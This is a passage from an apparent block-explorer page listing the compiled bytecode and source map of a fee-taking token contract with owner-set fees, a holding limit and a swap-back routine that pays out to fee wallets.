0b365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106f5565b6000610b3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e2565b6000610b3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d27565b600081836116035760405162461bcd60e51b81526004016106f59190611629565b506000610d588486611837565b60006020828403121561162257600080fd5b5035919050565b600060208083528351808285015260005b818110156116565785810183015185820160400152820161163a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461168c57600080fd5b50565b600080604083850312156116a257600080fd5b82356116ad81611677565b946020939093013593505050565b6000602082840312156116cd57600080fd5b8135610b3681611677565b803580151581146116e857600080fd5b919050565b6000806040838503121561170057600080fd5b823561170b81611677565b9150611719602084016116d8565b90509250929050565b60008060006060848603121561173757600080fd5b833561174281611677565b9250602084013561175281611677565b929592945050506040919091013590565b6000806000806080858703121561177957600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156117a857600080fd5b82356117b381611677565b915060208301356117c381611677565b809150509250929050565b600080604083850312156117e157600080fd5b6116ad836116d8565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108185761081861180a565b60008261185457634e487b7160e01b600052601260045260246000fd5b500490565b600181811c9082168061186d57607f821691505b60208210810361188d57634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156108185761081861180a565b808201808211156108185761081861180a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118e157600080fd5b8151610b3681611677565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561197257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220f701ec8577e84ef10c40228493792418255c68c6efbea808d62ded718dff43c764736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102135760003560e01c806370a0823111610118578063b2896bae116100a0578063df20fd491161006f578063df20fd491461062b578063e01bb6881461064b578063e96fada21461066b578063f2fde38b1461068b578063f887ea40146106ab57600080fd5b8063b2896bae14610575578063c867d60b14610595578063dab84ee7146105c5578063dd62ed3e146105e557600080fd5b80638da5cb5b116100e75780638da5cb5b146104d857806395d89b411461050a57806398118cb41461051f578063a8aa1b3114610535578063a9059cbb1461055557600080fd5b806370a0823114610457578063715018a61461048d57806373a432bb146104a257806378109e54146104c257600080fd5b806323b872dd1161019b578063658d4b7f1161016a578063658d4b7f146103ca5780636827e764146103ea5780636b67c4df146104005780636ddd1713146104165780636fcba3771461043757600080fd5b806323b872dd1461033e578063313ce5671461035e5780633f4218e01461037a578063571ac8b0146103aa57600080fd5b806316279055116101e257806316279055146102bc578063180b0d7e146102dd57806318160ddd146102f35780631df4ccfc146103085780632198cf6c1461031e57600080fd5b8063012aa9121461021f5780630445b6671461024157806306fdde031461026a578063095ea7b31461028c57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023f61023a366004611610565b6106cb565b005b34801561024d57600080fd5b5061025760125481565b6040519081526020015b60405180910390f35b34801561027657600080fd5b5061027f61071f565b6040516102619190611629565b34801561029857600080fd5b506102ac6102a736600461168f565b6107b1565b6040519015158152602001610261565b3480156102c857600080fd5b506102ac6102d73660046116bb565b3b151590565b3480156102e957600080fd5b50610257600d5481565b3480156102ff57600080fd5b50600354610257565b34801561031457600080fd5b50610257600c5481565b34801561032a57600080fd5b5061023f6103393660046116ed565b61081e565b34801561034a57600080fd5b506102ac610359366004611722565b610873565b34801561036a57600080fd5b5060405160098152602001610261565b34801561038657600080fd5b506102ac6103953660046116bb565b60076020526000908152604090205460ff1681565b3480156103b657600080fd5b506102ac6103c53660046116bb565b610933565b3480156103d657600080fd5b5061023f6103e53660046116ed565b610941565b3480156103f657600080fd5b50610257600a5481565b34801561040c57600080fd5b50610257600b5481565b34801561042257600080fd5b506011546102ac90600160a01b900460ff1681565b34801561044357600080fd5b5061023f610452366004611763565b610996565b34801561046357600080fd5b506102576104723660046116bb565b6001600160a01b031660009081526005602052604090205490565b34801561049957600080fd5b5061023f610a42565b3480156104ae57600080fd5b5061023f6104bd3660046116bb565b610ab6565b3480156104ce57600080fd5b5061025760045481565b3480156104e457600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610261565b34801561051657600080fd5b5061027f610b1a565b34801561052b57600080fd5b5061025760095481565b34801561054157600080fd5b506011546104f2906001600160a01b031681565b34801561056157600080fd5b506102ac61057036600461168f565b610b29565b34801561058157600080fd5b5061023f610590366004611610565b610b3d565b3480156105a157600080fd5b506102ac6105b03660046116bb565b60086020526000908152604090205460ff1681565b3480156105d157600080fd5b50600f546104f2906001600160a01b031681565b3480156105f157600080fd5b50610257610600366004611795565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561063757600080fd5b5061023f6106463660046117ce565b610bc9565b34801561065757600080fd5b5061023f6106663660046116bb565b610c15565b34801561067757600080fd5b50600e546104f2906001600160a01b031681565b34801561069757600080fd5b5061023f6106a63660046116bb565b610c61565b3480156106b757600080fd5b506010546104f2906001600160a01b031681565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016106f5906117ea565b60405180910390fd5b6127108160035461070f9190611820565b6107199190611837565b60045550565b60606001805461072e90611859565b80601f016020809104026020016040519081016040528092919081815260200182805461075a90611859565b80156107a75780601f1061077c576101008083540402835291602001916107a7565b820191906000526020600020905b81548152906001019060200180831161078a57829003601f168201915b5050505050905090565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061080c9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108485760405162461bcd60e51b81526004016106f5906117ea565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610920576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546108fb918490610d27565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b61092b848484610d61565b949350505050565b6000610818826000196107b1565b6000546001600160a01b0316331461096b5760405162461bcd60e51b81526004016106f5906117ea565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016106f5906117ea565b6009849055600a829055600b8390556109d98484610f66565b600c55600d8190556109ec600382611837565b600c5410610a3c5760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e203333250000000060448201526064016106f5565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016106f5906117ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ae05760405162461bcd60e51b81526004016106f5906117ea565b601180546001600160a01b039092166001600160a01b0319909216821790556000908152600860205260409020805460ff19166001179055565b60606002805461072e90611859565b6000610b36338484610d61565b9392505050565b600f546001600160a01b03163314610b815760405162461bcd60e51b815260206004820152600760248201526610a33ab73232b960c91b60448201526064016106f5565b47336108fc6064610b928585611820565b610b9c9190611837565b6040518115909202916000818181858888f19350505050158015610bc4573d6000803e3d6000fd5b505050565b6000546001600160a01b03163314610bf35760405162461bcd60e51b81526004016106f5906117ea565b60118054921515600160a01b0260ff60a01b1990931692909217909155601255565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b81526004016106f5906117ea565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b81526004016106f5906117ea565b6001600160a01b038116610ccc5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106f5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610d4b5760405162461bcd60e51b81526004016106f59190611629565b506000610d588486611893565b95945050505050565b6001600160a01b038216600090815260056020526040812054600454610d8784836118a6565b111580610dac57506001600160a01b03841660009081526008602052604090205460ff165b610e1e5760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e000060648201526084016106f5565b610e26610fc5565b8015610e3f57506011546001600160a01b038581169116145b15610e4c57610e4c61101d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260059091529190912054610e9e918590610d27565b6001600160a01b038616600090815260056020526040812091909155610ec486866113f8565b610ece5783610ed8565b610ed8868561143e565b6001600160a01b038616600090815260056020526040902054909150610efe9082610f66565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f529085815260200190565b60405180910390a350600195945050505050565b600080610f7383856118a6565b905083811015610b365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106f5565b6011546000906001600160a01b03163314801590610fe6575060135460ff16155b8015610ffb5750601154600160a01b900460ff165b801561101857506012543060009081526005602052604090205410155b905090565b6013805460ff1916600117905530600090815260056020526040812054600c5460095491929161105e916002916110589190829087906114dc565b9061155e565b9050600061106c83836115a0565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106110a6576110a66118b9565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112391906118cf565b81600181518110611136576111366118b9565b6001600160a01b03928316602091820292909201015260105460405163791ac94760e01b815291169063791ac9479061117c9086906000908690309042906004016118ec565b600060405180830381600087803b15801561119657600080fd5b505af11580156111aa573d6000803e3d6000fd5b5050505060006111c383476115a090919063ffffffff16565b905060006111e96111e0600260095461155e90919063ffffffff16565b600c54906115a0565b9050600061120b600261105884611058600954886114dc90919063ffffffff16565b90506112276005611058600461122187866115a0565b906114dc565b9250600061123684600261155e565b9050600061124485836115a0565b905081156112a857600f546040516000916001600160a01b03169061753090859084818181858888f193505050503d806000811461129e576040519150601f19603f3d011682016040523d82523d6000602084013e6112a3565b606091505b505050505b801561130a57600e546040516000916001600160a01b03169061753090849084818181858888f193505050503d8060008114611300576040519150601f19603f3d011682016040523d82523d6000602084013e611305565b606091505b505050505b88156113e257601054600e5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015611380573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113a5919061195d565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506013805460ff191690555050505050505050565b6001600160a01b03821660009081526007602052604081205460ff16158015610b365750506001600160a01b031660009081526007602052604090205460ff1615919050565b60008061145c600d54611058600c54866114dc90919063ffffffff16565b306000908152600560205260409020549091506114799082610f66565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ca9085815260200190565b60405180910390a361092b83826115a0565b6000826000036114ee57506000610818565b60006114fa8385611820565b9050826115078583611837565b14610b365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106f5565b6000610b3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e2565b6000610b3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d27565b600081836116035760405162461bcd60e51b81526004016106f59190611629565b506000610d588486611837565b60006020828403121561162257600080fd5b5035919050565b600060208083528351808285015260005b818110156116565785810183015185820160400152820161163a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461168c57600080fd5b50565b600080604083850312156116a257600080fd5b82356116ad81611677565b946020939093013593505050565b6000602082840312156116cd57600080fd5b8135610b3681611677565b803580151581146116e857600080fd5b919050565b6000806040838503121561170057600080fd5b823561170b81611677565b9150611719602084016116d8565b90509250929050565b60008060006060848603121561173757600080fd5b833561174281611677565b9250602084013561175281611677565b929592945050506040919091013590565b6000806000806080858703121561177957600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156117a857600080fd5b82356117b381611677565b915060208301356117c381611677565b809150509250929050565b600080604083850312156117e157600080fd5b6116ad836116d8565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108185761081861180a565b60008261185457634e487b7160e01b600052601260045260246000fd5b500490565b600181811c9082168061186d57607f821691505b60208210810361188d57634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156108185761081861180a565b808201808211156108185761081861180a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118e157600080fd5b8151610b3681611677565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561197257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220f701ec8577e84ef10c40228493792418255c68c6efbea808d62ded718dff43c764736f6c63430008110033

Deployed Bytecode Sourcemap

4558:8605:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8233:181;;;;;;;;;;-1:-1:-1;8233:181:0;;;;;:::i;:::-;;:::i;:::-;;5513:54;;;;;;;;;;;;;;;;;;;345:25:1;;;333:2;318:18;5513:54:0;;;;;;;;6734:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7339:216::-;;;;;;;;;;-1:-1:-1;7339:216:0;;;;;:::i;:::-;;:::i;:::-;;;1555:14:1;;1548:22;1530:41;;1518:2;1503:18;7339:216:0;1390:187:1;7170:161:0;;;;;;;;;;-1:-1:-1;7170:161:0;;;;;:::i;:::-;7280:17;7315:8;;;7170:161;5284:36;;;;;;;;;;;;;;;;6464:88;;;;;;;;;;-1:-1:-1;6537:12:0;;6464:88;;5208:69;;;;;;;;;;;;;;;;8422:135;;;;;;;;;;-1:-1:-1;8422:135:0;;;;;:::i;:::-;;:::i;7857:368::-;;;;;;;;;;-1:-1:-1;7857:368:0;;;;;:::i;:::-;;:::i;6558:80::-;;;;;;;;;;-1:-1:-1;6558:80:0;;4736:1;2922:36:1;;2910:2;2895:18;6558:80:0;2780:184:1;4977:44:0;;;;;;;;;;-1:-1:-1;4977:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7563:122;;;;;;;;;;-1:-1:-1;7563:122:0;;;;;:::i;:::-;;:::i;10989:121::-;;;;;;;;;;-1:-1:-1;10989:121:0;;;;;:::i;:::-;;:::i;5130:29::-;;;;;;;;;;;;;;;;5166:35;;;;;;;;;;;;;;;;5476:30;;;;;;;;;;-1:-1:-1;5476:30:0;;;;-1:-1:-1;;;5476:30:0;;;;;;10418:412;;;;;;;;;;-1:-1:-1;10418:412:0;;;;;:::i;:::-;;:::i;6820:105::-;;;;;;;;;;-1:-1:-1;6820:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;6904:18:0;6886:7;6904:18;;;:9;:18;;;;;;;6820:105;2688:148;;;;;;;;;;;;;:::i;10098:135::-;;;;;;;;;;-1:-1:-1;10098:135:0;;;;;:::i;:::-;;:::i;4798:57::-;;;;;;;;;;;;;;;;2502:79;;;;;;;;;;-1:-1:-1;2540:7:0;2567:6;-1:-1:-1;;;;;2567:6:0;2502:79;;;-1:-1:-1;;;;;3523:32:1;;;3505:51;;3493:2;3478:18;2502:79:0;3359:203:1;6644:84:0;;;;;;;;;;;;;:::i;5089:34::-;;;;;;;;;;;;;;;;5448:19;;;;;;;;;;-1:-1:-1;5448:19:0;;;;-1:-1:-1;;;;;5448:19:0;;;7693:156;;;;;;;;;;-1:-1:-1;7693:156:0;;;;;:::i;:::-;;:::i;11118:241::-;;;;;;;;;;-1:-1:-1;11118:241:0;;;;;:::i;:::-;;:::i;5028:52::-;;;;;;;;;;-1:-1:-1;5028:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5371:29;;;;;;;;;;-1:-1:-1;5371:29:0;;;;-1:-1:-1;;;;;5371:29:0;;;6931:133;;;;;;;;;;-1:-1:-1;6931:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;7033:19:0;;;7015:7;7033:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6931:133;10241:169;;;;;;;;;;-1:-1:-1;10241:169:0;;;;;:::i;:::-;;:::i;10838:139::-;;;;;;;;;;-1:-1:-1;10838:139:0;;;;;:::i;:::-;;:::i;5329:35::-;;;;;;;;;;-1:-1:-1;5329:35:0;;;;-1:-1:-1;;;;;5329:35:0;;;2844:214;;;;;;;;;;-1:-1:-1;2844:214:0;;;;;:::i;:::-;;:::i;5409:32::-;;;;;;;;;;-1:-1:-1;5409:32:0;;;;-1:-1:-1;;;;;5409:32:0;;;8233:181;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;;;;;;;;;8401:5:::1;8372:24;8357:12;;:39;;;;:::i;:::-;8356:50;;;;:::i;:::-;8338:15;:68:::0;-1:-1:-1;8233:181:0:o;6734:80::-;6782:13;6806:5;6799:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6734:80;:::o;7339:216::-;7443:10;7414:4;7431:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7431:32:0;;;;;;;;;;:41;;;7488:37;7414:4;;7431:32;;7488:37;;;;7466:6;345:25:1;;333:2;318:18;;199:177;7488:37:0;;;;;;;;-1:-1:-1;7543:4:0;7339:216;;;;;:::o;8422:135::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8513:27:0;;;::::1;;::::0;;;:19:::1;:27;::::0;;;;:36;;-1:-1:-1;;8513:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8422:135::o;7857:368::-;-1:-1:-1;;;;;7977:19:0;;7957:4;7977:19;;;:11;:19;;;;;;;;7997:10;7977:31;;;;;;;;-1:-1:-1;;7977:52:0;7974:186;;8079:69;;;;;;;;;;;-1:-1:-1;;;8079:69:0;;;;;;;;-1:-1:-1;;;;;8079:19:0;;-1:-1:-1;8079:19:0;;;:11;:19;;;;;8099:10;8079:31;;;;;;;;;;:69;;8115:6;;8079:35;:69::i;:::-;-1:-1:-1;;;;;8045:19:0;;;;;;:11;:19;;;;;;;;8065:10;8045:31;;;;;;;:103;7974:186;8177:40;8191:6;8199:9;8210:6;8177:13;:40::i;:::-;8170:47;7857:368;-1:-1:-1;;;;7857:368:0:o;7563:122::-;7618:4;7642:35;7650:7;-1:-1:-1;;7642:7:0;:35::i;10989:121::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11074:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:28;;-1:-1:-1;;11074:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10989:121::o;10418:412::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;10552:12:::1;:28:::0;;;10591:6:::1;:16:::0;;;10618:12:::1;:28:::0;;;10668:32:::1;10567:13:::0;10633;10668:17:::1;:32::i;:::-;10657:8;:43:::0;10711:14:::1;:32:::0;;;10773:16:::1;10788:1;10728:15:::0;10773:16:::1;:::i;:::-;10762:8;;:27;10754:68;;;::::0;-1:-1:-1;;;10754:68:0;;5895:2:1;10754:68:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973;5953:18;;;5946:58;6021:18;;10754:68:0::1;5693:352:1::0;10754:68:0::1;10418:412:::0;;;;:::o;2688:148::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;2795:1:::1;2779:6:::0;;2758:40:::1;::::0;-1:-1:-1;;;;;2779:6:0;;::::1;::::0;2758:40:::1;::::0;2795:1;;2758:40:::1;2826:1;2809:19:::0;;-1:-1:-1;;;;;;2809:19:0::1;::::0;;2688:148::o;10098:135::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;10167:4:::1;:15:::0;;-1:-1:-1;;;;;10167:15:0;;::::1;-1:-1:-1::0;;;;;;10167:15:0;;::::1;::::0;::::1;::::0;;:4:::1;10193:25:::0;;;:19:::1;:25;::::0;;;;:32;;-1:-1:-1;;10193:32:0::1;10167:15:::0;10193:32:::1;::::0;;10098:135::o;6644:84::-;6694:13;6718:7;6711:14;;;;;:::i;7693:156::-;7773:4;7797:44;7811:10;7823:9;7834:6;7797:13;:44::i;:::-;7790:51;7693:156;-1:-1:-1;;;7693:156:0:o;11118:241::-;11183:14;;-1:-1:-1;;;;;11183:14:0;11201:10;11183:28;11175:49;;;;-1:-1:-1;;;11175:49:0;;6252:2:1;11175:49:0;;;6234:21:1;6291:1;6271:18;;;6264:29;-1:-1:-1;;;6309:18:1;;;6302:37;6356:18;;11175:49:0;6050:330:1;11175:49:0;11255:21;11295:10;11287:64;11347:3;11316:28;11328:16;11255:21;11316:28;:::i;:::-;:34;;;;:::i;:::-;11287:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11164:195;11118:241;:::o;10241:169::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;10339:11:::1;:22:::0;;;::::1;;-1:-1:-1::0;;;10339:22:0::1;-1:-1:-1::0;;;;10339:22:0;;::::1;::::0;;;::::1;::::0;;;10372:13:::1;:30:::0;10241:169::o;10838:139::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;10925:20:::1;:44:::0;;-1:-1:-1;;;;;;10925:44:0::1;-1:-1:-1::0;;;;;10925:44:0;;;::::1;::::0;;;::::1;::::0;;10838:139::o;2844:214::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:39;;;;-1:-1:-1;;;2621:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2933:22:0;::::1;2925:43;;;::::0;-1:-1:-1;;;2925:43:0;;6587:2:1;2925:43:0::1;::::0;::::1;6569:21:1::0;6626:1;6606:18;;;6599:29;-1:-1:-1;;;6644:18:1;;;6637:38;6692:18;;2925:43:0::1;6385:331:1::0;2925:43:0::1;3005:6;::::0;;2984:38:::1;::::0;-1:-1:-1;;;;;2984:38:0;;::::1;::::0;3005:6;::::1;::::0;2984:38:::1;::::0;::::1;3033:6;:17:::0;;-1:-1:-1;;;;;;3033:17:0::1;-1:-1:-1::0;;;;;3033:17:0;;;::::1;::::0;;;::::1;::::0;;2844:214::o;546:190::-;632:7;668:12;660:6;;;;652:29;;;;-1:-1:-1;;;652:29:0;;;;;;;;:::i;:::-;-1:-1:-1;692:9:0;704:5;708:1;704;:5;:::i;:::-;692:17;546:190;-1:-1:-1;;;;;546:190:0:o;8565:815::-;-1:-1:-1;;;;;6904:18:0;;8657:4;6904:18;;;:9;:18;;;;;;8800:15;;8776:19;8789:6;6904:18;8776:19;:::i;:::-;8775:40;;:74;;;-1:-1:-1;;;;;;8819:30:0;;;;;;:19;:30;;;;;;;;8775:74;8767:148;;;;-1:-1:-1;;;8767:148:0;;7186:2:1;8767:148:0;;;7168:21:1;7225:2;7205:18;;;7198:30;7264:34;7244:18;;;7237:62;7335:32;7315:18;;;7308:60;7385:19;;8767:148:0;6984:426:1;8767:148:0;8955:16;:14;:16::i;:::-;:37;;;;-1:-1:-1;8988:4:0;;-1:-1:-1;;;;;8975:17:0;;;8988:4;;8975:17;8955:37;8952:54;;;8994:10;:8;:10::i;:::-;9063:53;;;;;;;;;;;-1:-1:-1;;;9063:53:0;;;;;;;;-1:-1:-1;;;;;9063:17:0;;-1:-1:-1;9063:17:0;;;:9;:17;;;;;;;;:53;;9085:6;;9063:21;:53::i;:::-;-1:-1:-1;;;;;9043:17:0;;;;;;:9;:17;;;;;:73;;;;9152:31;9053:6;9173:9;9152:13;:31::i;:::-;:65;;9211:6;9152:65;;;9186:22;9194:6;9201;9186:7;:22::i;:::-;-1:-1:-1;;;;;9251:20:0;;;;;;:9;:20;;;;;;9127:90;;-1:-1:-1;9251:40:0;;9127:90;9251:24;:40::i;:::-;-1:-1:-1;;;;;9228:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9307:43;;;;;;;;;;9335:14;345:25:1;;333:2;318:18;;199:177;9307:43:0;;;;;;;;-1:-1:-1;9368:4:0;;8565:815;-1:-1:-1;;;;;8565:815:0:o;219:179::-;277:7;;309:5;313:1;309;:5;:::i;:::-;297:17;;338:1;333;:6;;325:46;;;;-1:-1:-1;;;325:46:0;;7617:2:1;325:46:0;;;7599:21:1;7656:2;7636:18;;;7629:30;7695:29;7675:18;;;7668:57;7742:18;;325:46:0;7415:351:1;9893:197:0;9980:4;;9942;;-1:-1:-1;;;;;9980:4:0;9966:10;:18;;;;:38;;-1:-1:-1;9998:6:0;;;;9997:7;9966:38;:62;;;;-1:-1:-1;10017:11:0;;-1:-1:-1;;;10017:11:0;;;;9966:62;:116;;;;-1:-1:-1;10069:13:0;;10059:4;10041:24;;;;:9;:24;;;;;;:41;;9966:116;9959:123;;9893:197;:::o;11367:1791::-;5616:6;:13;;-1:-1:-1;;5616:13:0;5625:4;5616:13;;;11459:4:::1;5616:6:::0;11441:24;;;:9:::1;:24;::::0;;;;;11539:8:::1;::::0;11521:12:::1;::::0;11441:24;;5616:6;11502:53:::1;::::0;11553:1:::1;::::0;11502:46:::1;::::0;11539:8;11502:46;;11441:24;;11502:18:::1;:32::i;:::-;:36:::0;::::1;:46::i;:53::-;11476:79:::0;-1:-1:-1;11566:20:0::1;11589:35;:14:::0;11476:79;11589:18:::1;:35::i;:::-;11721:16;::::0;;11735:1:::1;11721:16:::0;;;;;::::1;::::0;;11566:58;;-1:-1:-1;11663:21:0::1;::::0;11637:23:::1;::::0;11721:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11721:16:0::1;11697:40;;11766:4;11748;11753:1;11748:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11748:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11792:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;11792:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;11748:7;;11792:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11782:4;11787:1;11782:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11782:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;11816:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;11816:188:0;;:6;::::1;::::0;:57:::1;::::0;:188:::1;::::0;11888:12;;11816:6:::1;::::0;11931:4;;11958::::1;::::0;11978:15:::1;::::0;11816:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12017:17;12037:42;12063:15;12037:21;:25;;:42;;;;:::i;:::-;12017:62;;12090:19;12112:33;12125:19;12142:1;12125:12;;:16;;:19;;;;:::i;:::-;12112:8;::::0;;:12:::1;:33::i;:::-;12090:55;;12156:26;12185:51;12234:1;12185:44;12217:11;12185:27;12199:12;;12185:9;:13;;:27;;;;:::i;:51::-;12156:80:::0;-1:-1:-1;12259:47:0::1;12304:1;12259:40;12297:1;12259:33;:9:::0;12156:80;12259:13:::1;:33::i;:::-;:37:::0;::::1;:40::i;:47::-;12247:59:::0;-1:-1:-1;12317:20:0::1;12340:16;12247:59:::0;12354:1:::1;12340:13;:16::i;:::-;12317:39:::0;-1:-1:-1;12367:26:0::1;12396:27;:9:::0;12317:39;12396:13:::1;:27::i;:::-;12367:56:::0;-1:-1:-1;12439:14:0;;12436:156:::1;;12523:14;::::0;12515:65:::1;::::0;12469:15:::1;::::0;-1:-1:-1;;;;;12523:14:0::1;::::0;12570:5:::1;::::0;12551:12;;12469:15;12515:65;12469:15;12515:65;12551:12;12523:14;12570:5;12515:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-